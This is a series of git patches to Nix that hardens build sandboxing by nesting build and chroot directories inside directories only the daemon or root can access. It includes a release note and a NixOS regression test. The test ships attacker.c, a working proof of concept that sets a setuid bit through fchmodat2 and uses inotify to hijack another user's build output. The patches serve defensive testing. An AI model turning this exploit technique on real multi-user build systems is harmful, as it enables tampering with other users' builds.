From 717f3eea3981786a1092d975bb811fe93cf7a66e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 8 Apr 2024 14:51:54 +0200 Subject: [PATCH 1/6] Add a test for the user sandboxing --- tests/nixos/default.nix | 2 + tests/nixos/user-sandboxing/attacker.c | 82 +++++++++++++++ tests/nixos/user-sandboxing/default.nix | 127 ++++++++++++++++++++++++ 3 files changed, 211 insertions(+) create mode 100644 tests/nixos/user-sandboxing/attacker.c create mode 100644 tests/nixos/user-sandboxing/default.nix diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 710f8a273..2cf7a64c6 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -132,4 +132,6 @@ in ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix; + + user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing; } diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c new file mode 100644 index 000000000..3bd729c04 --- /dev/null +++ b/tests/nixos/user-sandboxing/attacker.c @@ -0,0 +1,82 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include + +#define SYS_fchmodat2 452 + +int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { + return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); +} + +int main(int argc, char **argv) { + if (argc <= 1) { + // stage 1: place the setuid-builder executable + + // make the build directory world-accessible first + chmod(".", 0755); + + if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { + perror("Setting the suid bit on attacker"); + exit(-1); + } + + } else { + // stage 2: corrupt the victim derivation while it's building + + // prevent the kill + if (setresuid(-1, -1, getuid())) { + perror("setresuid"); + exit(-1); + } + + if (fork() == 0) { + + // wait for the victim to build + int fd = inotify_init(); + inotify_add_watch(fd, argv[1], IN_CREATE); + int dirfd = open(argv[1], O_DIRECTORY); + if (dirfd < 0) { + perror("opening the global build directory"); + exit(-1); + } + char buf[4096]; + fprintf(stderr, "Entering the inotify loop\n"); + for (;;) { + ssize_t len = read(fd, buf, sizeof(buf)); + struct inotify_event *ev; + for (char *pe = buf; pe < buf + len; + pe += sizeof(struct inotify_event) + ev->len) { + ev = (struct inotify_event *)pe; + fprintf(stderr, "folder %s created\n", ev->name); + // wait a bit to prevent racing against the creation + sleep(1); + int builddir = openat(dirfd, ev->name, O_DIRECTORY); + if (builddir < 0) { + perror("opening the build directory"); + continue; + } + int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); + if (resultfile < 0) { + perror("opening the hijacked file"); + continue; + } + int writeres = write(resultfile, "bad\n", 4); + if (writeres < 0) { + perror("writing to the hijacked file"); + continue; + } + fprintf(stderr, "Hijacked the build for %s\n", ev->name); + return 0; + } + } + } + + exit(0); + } +} + diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix new file mode 100644 index 000000000..cdb0c7eb6 --- /dev/null +++ b/tests/nixos/user-sandboxing/default.nix @@ -0,0 +1,127 @@ +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + attacker = pkgs.runCommandWith { + name = "attacker"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./attacker.c} + ''; + + try-open-build-dir = pkgs.writeScript "try-open-build-dir" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + chmod 700 . + + touch foo + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + touch $out + + set +x + ''; + + create-hello-world = pkgs.writeScript "create-hello-world" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + echo "hello, world" > result + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + cp result $out + + set +x + ''; + +in +{ + name = "sandbox-setuid-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + nix.nrBuildUsers = 1; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ]; + boot.kernelPackages = pkgs.linuxPackages_latest; + users.users.alice = { + isNormalUser = true; + }; + }; + + testScript = { nodes }: '' + start_all() + + with subtest("A builder can't give access to its build directory"): + # Make sure that a builder can't change the permissions on its build + # directory to the point of opening it up to external users + + # A derivation whose builder tries to make its build directory as open + # as possible and wait for someone to hijack it + machine.succeed(r""" + nix-build -v -E ' + builtins.derivation { + name = "open-build-dir"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${try-open-build-dir}") ]; + }' >&2 & + """.strip()) + + # Wait for the build to be ready + # This is OK because it runs as root, so we can access everything + machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint") + + # But Alice shouldn't be able to access the build directory + machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'") + machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'") + machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'") + + # Tell the user to finish the build + machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint") + + with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "innocent"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${create-hello-world}") ]; + }' >&2 & + """.strip()) + machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint") + + # The build ran as `nixbld1` (which is the only build user on the + # machine), but a process running as `nixbld1` outside the sandbox + # shouldn't be able to touch the build directory regardless + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'") + + # Finish the build + machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint") + + # Check that the build was not affected + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + ''; + +} + From 1d3696f0fb88d610abc234a60e0d6d424feafdf1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 2 Apr 2024 17:06:48 +0200 Subject: [PATCH 2/6] Run the builds in a daemon-controled directory Instead of running the builds under `$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}` where the build directory is only readable and traversable by the daemon user. This achieves two things: 1. It prevents builders from making their build directory world-readable (or even writeable), which would allow the outside world to interact with them. 2. It prevents external processes running as the build user (either because that somehow leaked, maybe as a consequence of 1., or because `build-users` isn't in use) from gaining access to the build directory. --- .../unix/build/local-derivation-goal.cc | 5 +++-- src/libutil/file-system.cc | 5 +++++ src/libutil/file-system.hh | 5 +++++ tests/functional/check.sh | 2 +- tests/nixos/user-sandboxing/default.nix | 20 ++++++++++--------- 5 files changed, 25 insertions(+), 12 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index a99439738..2e75aa031 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -503,8 +503,9 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ - tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); - + auto parentTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); + tmpDir = parentTmpDir + "/build"; + createDir(tmpDir, 0700); chownToBuilder(tmpDir); for (auto & [outputName, status] : initialOutputs) { diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 9d6142556..cadcab96d 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -412,6 +412,11 @@ void deletePath(const fs::path & path) deletePath(path, dummy); } +void createDir(const Path &path, mode_t mode) +{ + if (mkdir(path.c_str(), mode) == -1) + throw SysError("creating directory '%1%'", path); +} Paths createDirs(const Path & path) { diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index c6b6ecedb..e7bf087eb 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -157,6 +157,11 @@ inline Paths createDirs(PathView path) return createDirs(Path(path)); } +/** + * Create a single directory. + */ +void createDir(const Path & path, mode_t mode = 0755); + /** * Create a symlink. */ diff --git a/tests/functional/check.sh b/tests/functional/check.sh index efb93eeb0..a5e61b035 100755 --- a/tests/functional/check.sh +++ b/tests/functional/check.sh @@ -46,7 +46,7 @@ test_custom_build_dir() { --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$? [ "$status" = "100" ] [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]] - local buildDir="$customBuildDir/nix-build-"* + local buildDir="$customBuildDir/nix-build-"*"/build" grep $checkBuildId $buildDir/checkBuildId } test_custom_build_dir diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix index cdb0c7eb6..8a16f44e8 100644 --- a/tests/nixos/user-sandboxing/default.nix +++ b/tests/nixos/user-sandboxing/default.nix @@ -16,6 +16,8 @@ let set -x chmod 700 . + # Shouldn't be able to open the root build directory + (! chmod 700 ..) touch foo @@ -85,15 +87,15 @@ in # Wait for the build to be ready # This is OK because it runs as root, so we can access everything - machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint") + machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint") # But Alice shouldn't be able to access the build directory - machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'") - machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'") - machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'") + machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'") + machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'") + machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'") # Tell the user to finish the build - machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint") + machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint") with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): machine.succeed(r""" @@ -105,16 +107,16 @@ in args = [ (builtins.storePath "${create-hello-world}") ]; }' >&2 & """.strip()) - machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint") + machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint") # The build ran as `nixbld1` (which is the only build user on the # machine), but a process running as `nixbld1` outside the sandbox # shouldn't be able to touch the build directory regardless - machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'") - machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'") # Finish the build - machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint") + machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint") # Check that the build was not affected machine.succeed(r""" From d99c868b0410d44faf547eb5ac923ea62abb649f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 9 Apr 2024 10:48:05 +0200 Subject: [PATCH 3/6] Add a release note for the build-dir hardening --- doc/manual/rl-next/harden-user-sandboxing.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 doc/manual/rl-next/harden-user-sandboxing.md diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md new file mode 100644 index 000000000..fa3c49fc0 --- /dev/null +++ b/doc/manual/rl-next/harden-user-sandboxing.md @@ -0,0 +1,8 @@ +--- +synopsis: Harden the user sandboxing +significance: significant +issues: +prs: +--- + +The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. From ede95b1fc133bd1d8eabc862f2e3e03c024cb755 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 13:00:00 +0200 Subject: [PATCH 4/6] Put the chroot inside a directory that isn't group/world-accessible Previously, the .chroot directory had permission 750 or 755 (depending on the uid-range system feature) and was owned by root/nixbld. This makes it possible for any nixbld user (if uid-range is disabled) or any user (if uid-range is enabled) to inspect the contents of the chroot of an active build and maybe interfere with it (e.g. via /tmp in the chroot, which has 1777 permission). To prevent this, the root is now a subdirectory of .chroot, which has permission 700 and is owned by root/root. --- src/libstore/unix/build/local-derivation-goal.cc | 14 +++++++++----- src/libstore/unix/build/local-derivation-goal.hh | 10 ++++++++++ 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 2e75aa031..d51a4817c 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -673,15 +673,19 @@ void LocalDerivationGoal::startBuilder() environment using bind-mounts. We put it in the Nix store so that the build outputs can be moved efficiently from the chroot to their final location. */ - chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; - deletePath(chrootRootDir); + chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; + deletePath(chrootParentDir); /* Clean up the chroot directory automatically. */ - autoDelChroot = std::make_shared(chrootRootDir); + autoDelChroot = std::make_shared(chrootParentDir); - printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir); + printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir); + + if (mkdir(chrootParentDir.c_str(), 0700) == -1) + throw SysError("cannot create '%s'", chrootRootDir); + + chrootRootDir = chrootParentDir + "/root"; - // FIXME: make this 0700 if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1) throw SysError("cannot create '%1%'", chrootRootDir); diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh index f25cb9424..77d07de98 100644 --- a/src/libstore/unix/build/local-derivation-goal.hh +++ b/src/libstore/unix/build/local-derivation-goal.hh @@ -65,6 +65,16 @@ struct LocalDerivationGoal : public DerivationGoal */ bool useChroot = false; + /** + * The parent directory of `chrootRootDir`. It has permission 700 + * and is owned by root to ensure other users cannot mess with + * `chrootRootDir`. + */ + Path chrootParentDir; + + /** + * The root of the chroot environment. + */ Path chrootRootDir; /** From 58b7b3fd15d09da983d34c5ac1acf6cba10887d8 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 14:10:18 +0200 Subject: [PATCH 5/6] Formatting --- src/libutil/file-system.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index cadcab96d..7b20e078b 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -412,7 +412,7 @@ void deletePath(const fs::path & path) deletePath(path, dummy); } -void createDir(const Path &path, mode_t mode) +void createDir(const Path & path, mode_t mode) { if (mkdir(path.c_str(), mode) == -1) throw SysError("creating directory '%1%'", path); From d54590fdf328ea2764cf79fcba72cbf091b38acf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 14:12:08 +0200 Subject: [PATCH 6/6] Fix --no-sandbox When sandboxing is disabled, we cannot put $TMPDIR underneath an inaccessible directory. --- src/libstore/unix/build/local-derivation-goal.cc | 11 ++++++++--- tests/functional/check.sh | 5 ++++- 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index d51a4817c..34b20925a 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -503,9 +503,14 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ - auto parentTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); - tmpDir = parentTmpDir + "/build"; - createDir(tmpDir, 0700); + tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); + if (useChroot) { + /* If sandboxing is enabled, put the actual TMPDIR underneath + an inaccessible root-owned directory, to prevent outside + access. */ + tmpDir = tmpDir + "/build"; + createDir(tmpDir, 0700); + } chownToBuilder(tmpDir); for (auto & [outputName, status] : initialOutputs) { diff --git a/tests/functional/check.sh b/tests/functional/check.sh index a5e61b035..7b70d6aef 100755 --- a/tests/functional/check.sh +++ b/tests/functional/check.sh @@ -46,7 +46,10 @@ test_custom_build_dir() { --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$? [ "$status" = "100" ] [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]] - local buildDir="$customBuildDir/nix-build-"*"/build" + local buildDir="$customBuildDir/nix-build-"*"" + if [[ -e $buildDir/build ]]; then + buildDir=$buildDir/build + fi grep $checkBuildId $buildDir/checkBuildId } test_custom_build_dir